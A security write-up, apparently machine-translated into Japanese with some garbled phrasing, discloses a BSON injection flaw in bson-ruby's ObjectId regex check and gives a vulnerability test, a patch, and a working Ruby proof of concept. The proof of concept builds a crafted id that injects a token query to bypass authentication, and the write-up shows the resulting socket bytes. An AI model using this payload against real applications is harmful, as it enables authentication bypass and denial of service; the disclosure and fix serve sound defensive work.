Ruby用MongoDBアダプターでのBSONインジェクション

BSON-rubyでバグが見つかりましたが、これはせいぜい小さなDoSにつながりましたが、ほとんどのバージョンはBSONインジェクションに対して脆弱でした(SQLインジェクションのアナログ、BSONはデータベースでの作業に使用されるバイナリJSONアナログです)。



rubyのレギュラーの機能はすでにハブで言及されています-^ $は行の始まりと終わりを意味するだけでなく、改行も意味します\ n。



しかし、例ではXSS "javascript:a()\ nhttp://"しかありませんでした。私は長い間、レギュラーが深刻な問題につながる例を探していました。 そして数日前、クライアントの外部ライブラリの監査中に、BSON-rubyで次のコードに出会いました。



def legal?(str) !!str.match(/^[0-9a-f]{24}$/i) end
      
      





このメソッドは、ObjectId-ドキュメント識別子の検証を行います。 たとえば、Order.find(params [:id])のidは、「21141c78d99f23d5f34d3201」という形式のユーザー入力からの24文字です。



少し調査した結果、レギュラーは2012年に\ A \ Zで最初に修正され、その後2013年に非常に疑わしいリグレッションの結果としてメンテナー自身によって再び壊れたことがわかりました。



つまり、2012年4月17日から2013年3月まで、^ $が使用され、その後、\ A \ Zが2013年4月まで使用され、その後再び^ $が使用されました。



アプリケーションが脆弱かどうかを確認するには、次を実行します。



 b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise "DoS!" if b.legal? "a"*24+"\n" raise "Injection!" if b.legal? "a"*24+"\na"
      
      





はい、このパッチを使用します:



 def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s) /\A\h{24}\z/ === s.to_s end
      
      





2013年の古いバージョンのBSONを使用している場合は、\ A \ Zを使用している可能性が高く、小さなDoSのみが可能です。 なんで? ルーブルの\ Zは行末に加えて、末尾に1つの\ nを許可するためです。 しかし、id = aaaaaaaaaaaaaaaaaaaaaaaa%0Aを送信すると、mongoはcurseします



ただし、Rubyドライバーはこのエラーを理解せず、ノードが存在すると結論付けます。 そして、彼は次の5秒間にさらに39回mongoにpingを送信し、役に立たない作業で労働者を採点します。これは一部のサイトのサービス拒否として使用できます。



しかし、これは最近のバージョンのBSONで起こっていることと比較しても何もありません。 そこにフォームの行を送信できます



_id =任意のバイナリデータ\ naaaaaaaaaaaaaaaaaaaaaaaaa \ n任意のバイナリデータ



変更なしでmongoを要求するときに、16進数からバイナリに展開され、BSONドキュメントの本文に挿入されるもの(ObjectIdは既に検証され、速度のために純粋な形式で挿入されていると想定されます)。 この概念実証を使用すると、BSONドキュメントのパラメーターを上書きして、トークンまたはAPIキーに基づく認証システムをバイパスし、DoSを実行するなどして、モンゴに任意の要求を行うことができます。



 require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a">
      
      





その結果、注入要求は次のようにmongoソケットに到着します。



\ x83 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD4 \ a \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 mng_development.users \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00Q \ x00 \ x00 \ x00 \ a_id \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x02_id \ x00 \ x0F \ x00 \ x00 \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x00 \ x03 $クエリ\ x00 \ e \ x00 \ x00 \ x00 \ x03token \ x00 \ x0F \ x00 \ x00 \ x00 \ x02 $ gt \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00



パッチを適用し、Rubyの常連では常に\ A \ zを使用する必要があることを忘れないでください。



All Articles